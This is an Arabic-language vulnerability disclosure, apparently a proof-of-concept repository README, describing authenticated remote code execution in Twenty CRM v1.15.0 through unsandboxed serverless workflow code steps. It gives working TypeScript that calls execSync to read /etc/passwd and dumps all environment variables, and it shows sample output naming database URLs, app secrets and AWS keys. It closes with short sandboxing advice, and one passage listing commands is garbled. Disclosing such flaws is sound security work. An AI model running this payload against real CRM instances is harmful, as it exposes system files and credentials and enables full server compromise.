
إثبات المفهوم لتنفيذ الأوامر عن بُعد بشكل مصادق عليه في Twenty CRM عبر وظائف سير عمل بدون خادم غير معزولة، مما يسمح بتنفيذ أوامر Node.js عشوائية وكشف متغيرات البيئة.
المنتج: Twenty CRM
الثغرة الأمنية: تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر دوال Serverless في سير العمل
الخطورة: حرجة
المكوّن المتأثر: أتمتة سير العمل (Code - Serverless Function)
الإصدار المُختبَر: v1.15.0
يوثّق هذا المستودع ثغرة أمنية حرجة في محرك سير العمل الخاص بـ Twenty CRM. يسمح مكوّن "Code - Serverless Function" للمستخدمين المُصادَق عليهم بتنفيذ تعليمات Node.js برمجية عشوائية. وبسبب غياب العزل (Sandboxing)، يمكن استيراد وحدة child_process وتنفيذ أوامر على مستوى النظام في الخادم المضيف.
يتيح التطبيق للمستخدمين إنشاء سير عمل أتمتة مخصصة تتضمن خطوة تنفيذ تعليمات برمجية. وبينما يُقصد من ذلك معالجة البيانات، فإن بيئة التنفيذ لا تقيّد بشكل صحيح الوصول إلى الوحدات المدمجة في Node.js أو نظام التشغيل الأساسي.
يمكن للمهاجم استخدام execSync من مكتبة child_process من أجل:
cat, , ).lswhoami/etc/passwd).process.env)، مما يكشف عن بيانات اعتماد قاعدة البيانات ومفاتيح API وأسرار التطبيق.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Remote Command Execution: Read system users
const output = execSync('cat /etc/passwd').toString();
// 2. Information Disclosure: Dump all environment variables (Secrets)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Code Overview
يتم تنفيذ سير العمل بنجاح ويعيد بيانات النظام.
الوصول إلى ملفات النظام (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
تسريب متغيرات البيئة:
كشف تفريغ process.env عن تفاصيل إعدادات حرجة:
PG_DATABASE_URL (بيانات اعتماد قاعدة البيانات)APP_SECRET (مفاتيح التوقيع)REDIS_URLAWS_ACCESS_KEY (إذا تم تكوينه)تسمح هذه الثغرة الأمنية لمستخدم مُصادَق عليه (بصلاحية إنشاء سير عمل) بتحقيق اختراق كامل للنظام.
لإصلاح هذه المشكلة، تتطلب ميزة "Serverless Function" عزلًا مناسبًا.
child_process وfs وnet.